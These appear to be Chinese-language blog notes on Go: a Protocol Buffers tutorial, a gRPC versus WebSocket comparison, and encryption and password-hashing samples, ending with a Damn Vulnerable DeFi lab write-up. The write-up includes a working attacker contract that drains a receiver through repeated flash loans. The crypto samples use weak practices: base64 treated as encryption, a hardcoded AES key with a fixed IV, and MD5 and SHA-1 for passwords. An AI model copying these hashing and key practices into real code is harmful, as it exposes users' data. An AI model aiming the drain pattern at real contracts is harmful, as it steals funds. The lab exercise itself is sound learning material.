玩一玩 Protocol Buffer

建立資料夾、進入資料夾、初始化

mkdir hello

cd hello

go mod init example

建立放 proto 檔案的資料夾、建立 .proto

mkdir person

cd person 

touch person.proto

person.proto 貼上以下程式碼

syntax = "proto3"; // 3 代表版本

option go_package = "example/person";
package person;

message Person {
    string name = 1; // 有型別,和JSON不同,所以編譯器才能自動產生很多不同語言的版本
}

執行:

protoc *.proto --go_out=plugins=grpc:. --go_opt=paths=source_relative

回到根目錄並建立 main.go

cd ..

touch main.go

main.go 貼上以下程式碼

package main

import (
	"fmt"
	"io/ioutil"
	"log"

	pb "example/person"

	proto "github.com/golang/protobuf/proto"
)

func main() {
  person := &pb.Person{Name: "XXX"}
	fmt.Printf("Person's name is %s\n", person.GetName())

	//把 person object 寫到檔案 person.bin(人類不可讀)
	out, err := proto.Marshal(person)
	if err != nil {
		log.Fatalf("Serialization error: %s", err.Error())
	}
	if err := ioutil.WriteFile("person.bin", out, 0644); err != nil {
		log.Fatalf("Write File Error: %s ", err.Error())
	}
	fmt.Println("Write Success")

	//讀檔然後印出來
	in, err := ioutil.ReadFile("person.bin")
	if err != nil {
		log.Fatalf("Read File Error: %s ", err.Error())
	}
	person2 := &pb.Person{}
	err2 := proto.Unmarshal(in, person2)
	if err2 != nil {
		log.Fatalf("DeSerialization error: %s", err.Error())
	}

	fmt.Println("Read Success")
	fmt.Printf("Person2's name is %s\n", person2.GetName())
}

下載需要的 package


go get -u github.com/golang/protobuf/proto

執行程式

go run main.go

參考資料

Protocol Buffers and Go: Getting started

gRPC v.s. WebSocket

gRPC

特色

  • 使用 Google 的 Protocol Buffers(Protobuf) 作為 interface description language.
  • protoc compiler 支援多語言,例如:python、go,所以客戶端和伺服器可以使用不同語言撰寫
  • 基於 HTTP/2
  • 讓調用遠程的程式也像調用本地函式庫一樣,此外,許多網路相關的程式碼被不需要工程師自己寫,protoc compiler 會幫忙產生

缺點

  • Protobuf 非人類可讀語言,debug 不方便
  • 雖然很多語言都有 gRPC 的套件,瀏覽器仍然沒辦法直接支持,需要使用例如 gRPC Web 這種 proxy

WebSocket

特色

  • WebSocket 是 W3C 網路協定標準,與一般 http、https不同之處在於,他只需要一次接觸便能一直保持連線,直到其中一方斷掉
  • 可以傳輸文本、binary data
  • HTTP/1.1 握手期間可以指定在 WebSocket 之上使用的子協議(例如,MQTT),也可以自訂協議或自訂額外功能(例如發布/訂閱消息傳遞)
  • 因為是持續的連接而不是每次都 request/response,所以只需要極小的傳輸開銷
  • 瀏覽器原生支持 WebSocket API
  • 事件驅動(event-driven)

缺點

  • stateful
  • 連線終止後不會自動恢復
  • 某些環境(例如帶有代理服務器的公司網絡)會阻止 WebSocket 連接。

比較

  • data format
    • GRPC : .proto file
    • WebSocket : no “official” format specification
  • request processing performance
    • gRPC : 使用 HTTP2 連線延遲比較大,但因為 HTTP2 支持 multiplexing 與 高效的 binary format,gRPC 有較大的吞吐量(throughput)
    • WebSocket : 使用持續的 TCP 連線,通信完成才關閉,也可以做 multiplexing ,但必須要使用第三方函式庫或自己寫代碼,比較麻煩
  • scalability
    • gRPC : 使用的 HTTP 是 stateless,維持通信所需的任何信息都會在每次請求/響應交換時重新傳輸。雖然這造成標頭中數據的低效重複,但它也確保了服務器在過程中是可互換的,因為它們都不需要記住與它們通信的客戶端的任何信息。擴展比較簡單
    • WebSocket : stateful protocol,依賴於雙方(尤其是服務器)存儲有關連接狀態和先前消息歷史記錄的信息。 您需要更複雜的代碼來跟踪狀態。此外,客戶端只能與有權訪問當前狀態的服務器進程通信。 這會使擴展大量 WebSocket 之間的連接變得困難 但總而言之,WebSocket 佔用資源較少,差不多規模的系統,使用 gRPC 會需要比較大的計算能力和頻寬

使用時機

gRPC

  • Connecting polyglot services in a microservices-style architecture.
  • Connecting client devices (e.g., mobile devices) to backend services. (理想情況不涉及高頻數據更新)
  • Connecting point-to-point realtime services that need to handle streaming requests or responses.

WebSocket

  • Realtime updates, where the communication is unidirectional, and the server is streaming low-latency (and often frequent) updates to the client. (例如:實時比分更新、新聞源、警報和通知 等)
  • Bidirectional communication, where both the client and the server send and receive messages. (例如:聊天室、虛擬活動、虛擬教室)
  • 多用戶協作(例如:同時編輯一文檔)
  • Fanning out (broadcasting) the same message to multiple users at once.(pub/sub messaging)

參考資料

Go - 加解密

Go 簡單的加解密可以用 base64 來實現

import (
	"encoding/base64"
	"fmt"
)

func main() {

	data := "你好世界"

	sEnc := base64.StdEncoding.EncodeToString([]byte(data))
	fmt.Println(sEnc)

	sDec, err := base64.StdEncoding.DecodeString(sEnc)
	if err == nil {
		fmt.Println(string(sDec))
	}
}

其他還有例如 DES、AES,這兩個演算法在 crypto package 內被實現。AES 的範例如下:

import (
	"crypto/aes"
	"crypto/cipher"
	"fmt"
	"os"
)

var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}

func main() {
	//需要去加密的字串
	plaintext := []byte("你好世界")
	//如果傳入加密串的話,plaintext 就是傳入的字串
	if len(os.Args) > 1 {
		plaintext = []byte(os.Args[1])
	}

	//aes 的加密字串
	key_text := "astaxie12798akljzmknm.ahkjkljl;k"
	if len(os.Args) > 2 {
		key_text = os.Args[2]
	}

	// 建立加密演算法 aes
	c, err := aes.NewCipher([]byte(key_text))
	if err != nil {
		fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
		os.Exit(-1)
	}

	//加密字串
	cfb := cipher.NewCFBEncrypter(c, commonIV)
	ciphertext := make([]byte, len(plaintext))
	cfb.XORKeyStream(ciphertext, plaintext)
	fmt.Printf("%s=>%x\n", plaintext, ciphertext)

	// 解密字串
	cfbdec := cipher.NewCFBDecrypter(c, commonIV)
	plaintextCopy := make([]byte, len(plaintext))
	cfbdec.XORKeyStream(plaintextCopy, ciphertext)
	fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}

參考資料

程式碼來源

Go - 如何儲存密碼

目前常見儲存密碼的方式是使用單向雜湊演算法將明文雜湊後儲存。單向雜湊演算法,顧名思義,無法將雜湊過後的摘要(digest)還原成明文,而這個過程具有確定性,也就是每次輸入相同內容得到的摘要都相同。在真實情況下,每次輸入密碼後,會將其進行雜湊,再與資料庫內儲存的摘要做比對。

常用的單向雜湊演算法包括 SHA-256, SHA-1, MD5 等 :

import (
	"crypto/md5"
	"crypto/sha1"
	"crypto/sha256"
	"fmt"
	"io"
)

func main() {
	h := sha256.New()
	io.WriteString(h, "密碼")
	fmt.Printf("% x\n", h.Sum(nil)) // %x	base 16, with lower-case letters for a-f

	h = sha1.New()
	io.WriteString(h, "密碼")
	fmt.Printf("% x\n", h.Sum(nil))

	h = md5.New()
	io.WriteString(h, "密碼")
	fmt.Printf("%x", h.Sum(nil))
}

結果:

ef 8b 49 45 8c 14 f6 59 63 50 24 2e d3 73 a7 0d 63 b8 ba 13 32 b0 1c d6 f9 80 23 35 ae ae 63 7c
6e 25 cb 22 24 f0 e4 ff 01 4a 51 c3 82 82 f7 b7 59 88 dc 31
6662c848a80c30c8d042bfd17cf5ae2c

Rainbow table

有些密碼特別常見,因此有個摘要組合叫做 Rainbow table,其實就是很多常見的密碼與其雜湊過後的摘要,和資料庫儲存的摘要進行比對後,就可以推導出原本的明文。所以一旦資料庫被洩露,駭客可以照著 Rainbow table 比對出很多用戶的明文密碼。

加鹽

為了防止駭客輕易比對出密碼,有個方法叫做「加鹽」,除了使用單向雜湊法將明文雜湊一次,另外加上指定字串或用戶名等隨機字串再做一次加密。

import (
	"crypto/md5"
	"fmt"
	"io"
)

func main() {
	h := md5.New()
	io.WriteString(h, "密碼")

	pwmd5 := fmt.Sprintf("%x", h.Sum(nil))

	salt1 := "@#$%"
	salt2 := "^&*()"

	// 和上面兩個鹽拼接
	io.WriteString(h, salt1)
	io.WriteString(h, salt2)
	io.WriteString(h, pwmd5)

	fmt.Printf("% x", h.Sum(nil))
}

scrypt / bcrypt

還有其他的套件例如 scrypt 與 bcrypt:

scrypt

package main

import (
	"fmt"

	"golang.org/x/crypto/scrypt"
)

func main() {
	salt := []byte("asdfasdf")
	h, err := scrypt.Key([]byte("some password"), salt, 16384, 8, 1, 32)

	if err == nil {
		fmt.Printf("% x", h)
	}
}

bcrypt

package main

import (
	"fmt"

	"golang.org/x/crypto/bcrypt"
)

func main() {
	password := []byte("密碼")

	// Hashing the password with the default cost of 10
	h, err := bcrypt.GenerateFromPassword(password, bcrypt.DefaultCost)
	if err == nil {
		fmt.Printf("% x", h)
	}

	// Comparing the password with the hash
	err = bcrypt.CompareHashAndPassword(h, password)
	fmt.Println(err) // nil means it is a match
}

參考資料

Damn Vulnerable DeFi - 2. Native Receiver

Description

There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.

Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)

Writeup

呼叫 flashLoan function 可以使可以減少 1ETH,所以我們來寫個合約調用它,直到沒有餘額。

  1. 撰寫合約
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.0;
     import "../naive-receiver/NaiveReceiverLenderPool.sol";
    
     contract NaiveReceiverAttacker {
       NaiveReceiverLenderPool private pool;
    
       constructor(address payable poolAddress) {
           pool = NaiveReceiverLenderPool(poolAddress);
       }
    
       function attack(address payable receiver) public {
         while(receiver.balance > 0) {
             pool.flashLoan(receiver, 0);
         }
       }
     }
    
  2. 修改 test/unstoppable/naive-receiver.challenge.js
     it('Exploit', async function () {
         /** CODE YOUR EXPLOIT HERE */   
         const attackerContract = await (await ethers.getContractFactory('NaiveReceiverAttacker', attacker)).deploy(this.pool.address);
         await attackerContract.connect(attacker).attack(this.receiver.address);
     });
    
  3. yarn run naive-receiver to exploit !

其他解法

不另外寫合約,直接修改 test/unstoppable/naive-receiver.challenge.js 成下面這樣也可以。

it('Exploit', async function () {
    /** CODE YOUR EXPLOIT HERE */   
    for (let i = 0; i < 10; i++) {
        await this.pool.flashLoan(this.receiver.address, 0);
    }
});